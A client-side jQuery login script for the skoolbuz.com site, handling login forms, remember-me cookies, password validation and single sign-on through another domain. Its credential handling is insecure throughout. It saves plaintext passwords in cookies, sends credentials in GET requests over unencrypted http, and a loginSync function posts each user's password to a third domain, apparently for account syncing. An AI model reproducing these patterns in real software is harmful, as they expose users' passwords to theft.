var urlFullPath = "http://www.skoolbuz.com/_module/";

$(function() {
	
	var inputHasFocus = false;

	$('#frmSignOnMember :input').focus(function() {
		inputHasFocus = true; // Set true if a Form-Field is selected
	}).blur(function() {
		inputHasFocus = false; // Set false if a Form-Field has left
	});
	
	$('#frmLogin :input').focus(function() {
		inputHasFocus = true; // Set true if a Form-Field is selected
	}).blur(function() {
		inputHasFocus = false; // Set false if a Form-Field has left
	});	
	
  $('.error').hide(); 
  
  
  	$('#cmem_username').bind('keypress', doSigninAction);
    $('#cmem_password').bind('keypress', doSigninAction);
	
	$('#email').bind('keypress', doLoginAction);
    $('#password').bind('keypress', doLoginAction);
	
	//S: New Login Box
	
			$( "#loginBox" ).click(function() {
						$( "#wrapLogin" ).toggle( 'slide', {direction: 'right'}, 200, function(){ 
								 	$('#loginBox').data('state', '1');		
						} );
						
						return false;
			});
			
			$( ".closebox" ).click(function() {
						$( "#wrapLogin" ).toggle( 'slide', {direction: 'right'}, 200, function(){ 
								 	$('#loginBox').data('state', '1');		
						} );
						
						return false;
			});
			
			$( ".btnFbconnect" ).click(function() {
						$(".btnFbconnect").hide();
						$(".btntwconnect").show();
						$(".fb-mini-loading").show();
			});
			
			$( ".btntwconnect" ).click(function() {
						$(".btntwconnect").hide();
						$(".btnFbconnect").show();
						$(".tw-mini-loading").show();
			});
	//E: New Login Box
  

	
	$(".button").click(function(e) {

		   //Remember Me
		  
		  if ($('#remember').attr('checked')) {
				  var username = $('#cmem_username').attr("value");
				  var password = $('#cmem_password').attr("value");
				  // set cookies to expire in 14 days
				  $.cookie('skbusername', username, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbpassword', password, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbremember', true, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
			} else {
				  // reset cookies
				  $.cookie('skbusername', null, {path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbpassword', null, {path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbremember', null, {path: '/', domain: 'skoolbuz.com'});
			}
		   
		   //End Remember Me
		
    $('.error').hide();
    $('.message').hide();
    $("label#code_error").hide();
    
    ////------------------------------------------

    	
      var cmem_username = $("input#cmem_username").val(); 
  	    

      var cmem_password = $("input#cmem_password").val();
	  var dataString_password  = 'act=validate&type=7&value=' + cmem_password;
	  
	  var responseTextValidate_password  = $.ajax({
		     type: "POST",
		     url: urlFullPath + "register/validate.php",
		     data: dataString_password ,
		     async: false
		   }).responseText;

	  if (responseTextValidate_password  != "") {
		  $('.cmem_password_error').html(responseTextValidate_password );
		  $('.cmem_password_error').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);return false;
	  }else{ $('.cmem_password_error').html("");}
		
		
		
		//Sign-On Engine

		var ssoServer = "http://member.herevgo.com/sign-in.php";
		var phpFile = urlFullPath + "sign-on/sign-on_function.php";
		var loginForm = "frmSignOnMember";
		var postData = $('form[name="'+loginForm+'"]').serialize();
		preloadShow();
		$.ajax({
			
			url: ssoServer,
			type: 'GET',
			data: postData,
			dataType: 'jsonp',
			dataCharset: 'jsonp',
			success:function(data){

				if(data[0].status == 200){
					$.post(phpFile, {
						act: "store",
						id: data[0].id,
						email: data[0].email,  
						username: data[0].username, 
						key: data[0].key, 
						m: "save-status" 
					}, function(d){
						
						if(d.flag == "true"){
                                                        loginSync();
							if(d.currentpage){
                                                                        preloadHide();
									self.location.href = d.currentpage;
							}else{
									preloadHide();
                                                                        self.location.href = urlFullPath + "dashboard/index.php";
							}
							
						}else if(d.flag == "regis"){
							preloadHide();
							self.location.href = urlFullPath + "profile/signup_complete.php";
							
						}else if(d.flag == "debug"){
							preloadHide();
							self.location.href = urlFullPath + "avatar/index.php";
							
						}
						
					},"json");
					
					
					
				}else{
					preloadHide();
					alert(data[0].description);
				}
				
			}
		});
		e.preventDefault();

		//End Sign-On Engine
		
		
    return false;
	});
	
	
	$("#btnLoginBox").click(function(e) {
	   
		   //Remember Me
		  
		  if ($('#boxremember').attr('checked')) {
				  var username = $('#email').attr("value");
				  var password = $('#password').attr("value");
				  // set cookies to expire in 14 days
				  $.cookie('skbusername', username, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbpassword', password, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbremember', true, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
			} else {
				  // reset cookies
				  $.cookie('skbusername', null, {path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbpassword', null, {path: '/', domain: 'skoolbuz.com'});
				  $.cookie('skbremember', null, {path: '/', domain: 'skoolbuz.com'});
			}
		   
		   //End Remember Me
		
		$('.error').hide();
		$('.message').hide();
		$("label#code_error").hide();
		
		////------------------------------------------

    	
      var cmem_username = $("input#email").val(); 
  	    

      var cmem_password = $("input#password").val();
	  var dataString_password  = 'act=validate&type=7&value=' + cmem_password;
	  
	  var responseTextValidate_password  = $.ajax({
		     type: "POST",
		     url: urlFullPath + "register/validate.php",
		     data: dataString_password ,
		     async: false
		   }).responseText;

	  if (responseTextValidate_password  != "") {
		  $('#msgerrBox').html(responseTextValidate_password );
		  $('#msgerrBox').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);return false;
	  }else{ $('#msgerrBox').html("");}
		
		//Sign-On Engine
		$(".boxInput").hide();
		$(".btnRegisterbox").hide();
		$(".btnLoginbox").hide();
		$(".loingLoading").show();
		
		
		var ssoServer = "http://member.herevgo.com/sign-in.php";
		var phpFile = urlFullPath + "sign-on/sign-on_function.php";
		var loginForm = "frmLogin";
		var postData = $('form[name="'+loginForm+'"]').serialize();
		
		$.ajax({
			
			url: ssoServer,
			type: 'GET',
			data: postData,
			dataType: 'jsonp',
			dataCharset: 'jsonp',
			success:function(data){
				
				

				if(data[0].status == 200){
					$.post(phpFile, {
						act: "store",
						id: data[0].id,
						email: data[0].email,  
						username: data[0].username, 
						key: data[0].key, 
						m: "save-status" 
					}, function(d){
						
						if(d.flag == "true"){
                                     	loginSync();
							if(d.currentpage){                                 
										window.location.reload();
							}else{
                                 		window.location.reload();
							}
							
						}else if(d.flag == "regis"){
										self.location.href = urlFullPath + "profile/signup_complete.php";
						}
						
					},"json");		
				}else{
									$("#msgerrBox").html(data[0].description + '<a href="javascript: void(0);" id="tryagain" onClick="javascript: tryAgain(); return false;"><strong>&nbsp;Try again !!!</strong></a>');
									$(".loingLoading").hide();
									
									$('#msgerrBox').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);
									
									$("a#tryagain").select().focus();return false;
				}
				
			}
		});

		//End Sign-On Engine
	
    return false;
	});
	
	
	//--------------------------------------------------------------------------
	
	$("#cmem_password").blur(function(){
	 
		  var value = $("input#cmem_password").val();
		  var dataString = 'act=validate&type=&value=' + value;
		  
		  var responseTextValidate = $.ajax({
			     type: "POST",
			     url: urlFullPath + "register/validate.php",
			     data: dataString,
			     async: false
			   }).responseText;
	
		  if (responseTextValidate != "") {
			  $('.cmem_password_error').html(responseTextValidate);
			  $('.cmem_password_error').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);return false;
		  }else{ $('.cmem_password_error').html("");}
	});
	
	
	$("#password").blur(function(){
	 
		  var value = $("input#password").val();
		  var dataString = 'act=validate&type=&value=' + value;
		  
		  var responseTextValidate = $.ajax({
			     type: "POST",
			     url: urlFullPath + "register/validate.php",
			     data: dataString,
			     async: false
			   }).responseText;
	
		  if (responseTextValidate != "") {
			  $('#msgerrBox').html(responseTextValidate);
			  $('#msgerrBox').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);return false;
		  }else{ $('#msgerrBox').html("");}
	});
	
	
	$(".icon_refresh").click(function(){
		$('.error').hide();
	    $('.message').hide();	
	    
	    var dataString = 'act=captcha';
			
			$.ajax({
		      type: "POST",
		      url: urlFullPath + "sign-on/validate.php",
		      data: dataString,
		      success: function(msg) {
		      
					$('img.captcha').attr("src", "http://www.skoolbuz.com/_lib/captcha/securimage_show.php?sid="+msg);
				
		      }
		    });//End Ajax 
			
	return false;
	
	});//End buttonUserCheck
  	
	
});

var BrowserDetect = {
	init: function () {
		this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
		this.version = this.searchVersion(navigator.userAgent)
			|| this.searchVersion(navigator.appVersion)
			|| "an unknown version";
		this.OS = this.searchString(this.dataOS) || "an unknown OS";
	},
	searchString: function (data) {
		for (var i=0;i<data.length;i++)	{
			var dataString = data[i].string;
			var dataProp = data[i].prop;
			this.versionSearchString = data[i].versionSearch || data[i].identity;
			if (dataString) {
				if (dataString.indexOf(data[i].subString) != -1)
					return data[i].identity;
			}
			else if (dataProp)
				return data[i].identity;
		}
	},
	searchVersion: function (dataString) {
		var index = dataString.indexOf(this.versionSearchString);
		if (index == -1) return;
		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
	},
	dataBrowser: [
		{
			string: navigator.userAgent,
			subString: "Chrome",
			identity: "Chrome"
		},
		{ 	string: navigator.userAgent,
			subString: "OmniWeb",
			versionSearch: "OmniWeb/",
			identity: "OmniWeb"
		},
		{
			string: navigator.vendor,
			subString: "Apple",
			identity: "Safari",
			versionSearch: "Version"
		},
		{
			prop: window.opera,
			identity: "Opera"
		},
		{
			string: navigator.vendor,
			subString: "iCab",
			identity: "iCab"
		},
		{
			string: navigator.vendor,
			subString: "KDE",
			identity: "Konqueror"
		},
		{
			string: navigator.userAgent,
			subString: "Firefox",
			identity: "Firefox"
		},
		{
			string: navigator.vendor,
			subString: "Camino",
			identity: "Camino"
		},
		{		// for newer Netscapes (6+)
			string: navigator.userAgent,
			subString: "Netscape",
			identity: "Netscape"
		},
		{
			string: navigator.userAgent,
			subString: "MSIE",
			identity: "Explorer",
			versionSearch: "MSIE"
		},
		{
			string: navigator.userAgent,
			subString: "Gecko",
			identity: "Mozilla",
			versionSearch: "rv"
		},
		{ 		// for older Netscapes (4-)
			string: navigator.userAgent,
			subString: "Mozilla",
			identity: "Netscape",
			versionSearch: "Mozilla"
		}
	],
	dataOS : [
		{
			string: navigator.platform,
			subString: "Win",
			identity: "Windows"
		},
		{
			string: navigator.platform,
			subString: "Mac",
			identity: "Mac"
		},
		{
			   string: navigator.userAgent,
			   subString: "iPhone",
			   identity: "iPhone/iPod"
	    },
		{
			string: navigator.platform,
			subString: "Linux",
			identity: "Linux"
		}
	]

};
BrowserDetect.init();



function loginSync(){


        var email = $("input#cmem_username").val();
        var password = $("input#cmem_password").val();
        $.post("http://www.zheza.com/datacenter/login.php", {'username': email, 'password': password}, function(data, txt){}, "json");

        
}

  	var doSigninAction = function SigninAction(e) {

              	var code = (e.keyCode ? e.keyCode : e.which);

		  		if(code == 13){
  		

		  			
		  		  //Remember Me
		  		  
		  		  if ($('#remember').attr('checked')) {
		  				  var username = $('#cmem_username').attr("value");
		  				  var password = $('#cmem_password').attr("value");
		  				  // set cookies to expire in 14 days
		  				  $.cookie('skbusername', username, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
		  				  $.cookie('skbpassword', password, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
		  				  $.cookie('skbremember', true, { expires: 14 ,path: '/', domain: 'skoolbuz.com'});
		  			} else {
		  				  // reset cookies
		  				  $.cookie('skbusername', null, {path: '/', domain: 'skoolbuz.com'});
		  				  $.cookie('skbpassword', null, {path: '/', domain: 'skoolbuz.com'});
		  				  $.cookie('skbremember', null, {path: '/', domain: 'skoolbuz.com'});
		  			}
		  		   
		  		   //End Remember Me
		  			
		  			$('.error').hide();
		  		    $('.message').hide();
		  		    $("label#code_error").hide();
		  		    
		  		    ////------------------------------------------
		
		  		    	
		  		      var cmem_username = $("input#cmem_username").val(); 
		  		  	    
		
		  		      var cmem_password = $("input#cmem_password").val();
		  			  var dataString_password  = 'act=validate&type=7&value=' + cmem_password;
		  			  
		  			  var responseTextValidate_password  = $.ajax({
		  				     type: "POST",
		  				     url: urlFullPath + "register/validate.php",
		  				     data: dataString_password ,
		  				     async: false
		  				   }).responseText;
		
		  			  if (responseTextValidate_password  != "") {
		  				  $('.cmem_password_error').html(responseTextValidate_password );
		  				  $('.cmem_password_error').fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100).fadeOut(100).fadeIn(100);return false;
		  			  }else{ $('.cmem_password_error').html("");}
		  				
		  				
		  				
		  				//Sign-On Engine
		
		  				var ssoServer = "http://member.herevgo.com/sign-in.php";
		  				var phpFile = urlFullPath + "sign-on/sign-on_function.php";
		  				var loginForm = "frmSignOnMember";
		  				var postData = $('form[name="'+loginForm+'"]').serialize();
		  				preloadShow();
		  				$.ajax({
		  					
		  					url: ssoServer,
		  					type: 'GET',
		  					data: postData,
		  					dataType: 'jsonp',
		  					dataCharset: 'jsonp',
		  					success:function(data){
		
		  						if(data[0].status == 200){
		  							$.post(phpFile, {
		  								act: "store",
		  								id: data[0].id,
		  								email: data[0].email,  
		  								username: data[0].username, 
		  								key: data[0].key, 
		  								m: "save-status" 
		  							}, function(d){
		  								
		  								if(d.flag == "true"){
                                                                                        loginSync();
		  									if(d.currentpage){
                                                                                                preloadHide();
		  										self.location.href = d.currentpage;
		  									}else{
		  										preloadHide();
                                                                                                self.location.href = urlFullPath + "dashboard/index.php";
		  									}
		  									
		  									
		  								}else if(d.flag == "regis"){
		  									preloadHide();
		  									self.location.href = urlFullPath + "profile/signup_complete.php";
		  									
		  								}else if(d.flag == "debug"){
		  									preloadHide();
		  									self.location.href = urlFullPath + "avatar/index.php";
		  									
		  								}
		  								
		  							},"json");
		  							
		  							
		  							
		  						}else{
		  							preloadHide();
		  							alert(data[0].description);
		  						}
		  						
		  					}
		  				});
		  				e.preventDefault();
		
		  				//End Sign-On Engine
		  				
		  				
		  		    return false;
		  		}
  		
  	}
	
	
	
	var doLoginAction = function SigninAction(e) {

              	var code = (e.keyCode ? e.keyCode : e.which);

		  		if(code == 13){
		 			$('#btnLoginBox').trigger('click');
		  		}
  		
  	}
	
	
function tryAgain(){
	
			$("#msgerrBox").html("");
			$(".boxInput").show();
			$(".btnRegisterbox").show();
			$(".btnLoginbox").show();
			
			return true;
			
}


runOnLoad(function(){
  $("a.cmem_username").select().focus();

  
  var remember = $.cookie('skbremember');
  if ( remember == 'true' ) {
		var username = $.cookie('skbusername');
		var password = $.cookie('skbpassword');
		// autofill the fields
		$('#cmem_username').attr("value", username);
		$('#cmem_password').attr("value", password);
		$('#remember').attr("checked", "true");
		
		$('#email').attr("value", username);
		$('#password').attr("value", password);
		$('#boxremember').attr("checked", "true");
  }
  
});




